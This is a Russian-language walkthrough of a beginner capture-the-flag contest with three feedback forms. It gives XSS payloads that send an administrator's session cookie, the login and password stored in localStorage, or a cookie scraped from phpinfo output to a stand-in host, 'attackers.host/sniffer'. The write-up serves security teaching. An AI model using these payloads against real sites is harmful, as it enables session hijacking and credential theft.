][akquest: прохождение квеста с формами обратной связи

Недавно мы вместе с ребятами из Positive Technologies сделали небольшой хак-конкурс по взлому веба. В качестве приза было несколько инвайтов на PHDays VII. Сегодня кратко расскажем, в чем была суть требуемых атак.

Задача была простая: мы сделали три формы обратной связи. Каждая из них содержала типовые уязвимости веб-приложений. Взлом каждой в итоге давал участнику строку-флаг. Все задания были довольно простыми и были рассчитаны примерно на неделю.

Так выглядела одна из трех форм обратной связи, которую нужно было взломать

Структура каждого таска была следующая:

  • ./feedback.php — форма обратной связи;
  • ./admin/ — форма авторизации в админку;
  • ./admin/preview.php — страница, где отображались сообщения из формы обратной связи, которые периодически читал админ. Доступ к ней требовал авторизации;
  • ./admin/flag.php — страница, на которой отображался флаг, доступ к ней тоже требовал авторизации. Доступ с IP администратора был запрещен.

Первое задание: cookie без http-only

Администратор имел сессионный cookie PHPSESSID. Флаг http-only был не установлен, поэтому к значению этого cookie легко можно было получить доступ средствами JavaScript.

XSS-пейлоад для решения:

<script>(new Image()).src = '//attackers.host/sniffer?'+document.cookie;</script>

После того как администратор посетит страницу с сообщениями, он отправит атакующему на сервер свой сессионный cookie. После чего следует установить их себе и посетить страницу ./admin/.

Если все сделано верно, страница переадресует на ./flag.php.

Второе задание: пароль в localStorage

Администратор имел сессионный cookie PHPSESSID, флаг http-only был установлен, через XSS его значение нельзя было получить. Но также у администратора в localStorage хранился логин и пароль для входа в открытом виде.

XSS-пейлоад для решения:

<script>(new Image()).src = '//attackers.host/sniffer?'+JSON.stringify(localStorage)</script>

После того как администратор посетит страницу с сообщениями, он отправит атакующему на сервер содержимое localStorage. После чего стоит ввести полученные логин и пароль в форму авторизации и забрать флаг со страницы ./admin/flag.php.

Третье задание: phpinfo()

Администратор имел сессионный cookie PHPSESSID, флаг http-only был установлен, через XSS его значение нельзя было получить напрямую. В директории с заданием лежал файл phpinfo.php. Из его названия можно догадаться, что в нем находилось. Интересен этот файл тем, что функция phpinfo(); возвращает множество отладочной информации, в том числе и cookie, неважно, содержат они флаг http-only или нет.


XSS-пейлоад для решения:

<script>
x = new XMLHttpRequest();
x.open('GET','../phpinfo.php');
x.onload = function(){
    (new Image()).src = '//attackers.host/sniffer?'+x.responseText.match(/<tr><td class="e">HTTP_COOKIE </td><td class="v">(.*)</td></tr>/m)[1]
}
x.send();
</script>

Так же как и в первом задании, после того как атакующий получит значение сессионного cookie, его следует установить в своем браузере и посетить страницу ./admin/ или ./admin/flag.php.

Мы старались сделать задания максимально простыми, но в то же время не банальные алерты или обходы фильтров. С виду ничего сложного, хорошая разминка для новичков.

Надеемся, тебе понравилось!

Комментарии (1)

  • Ясен пень, когда решение известно - ничего сложного :-)

Похожие материалы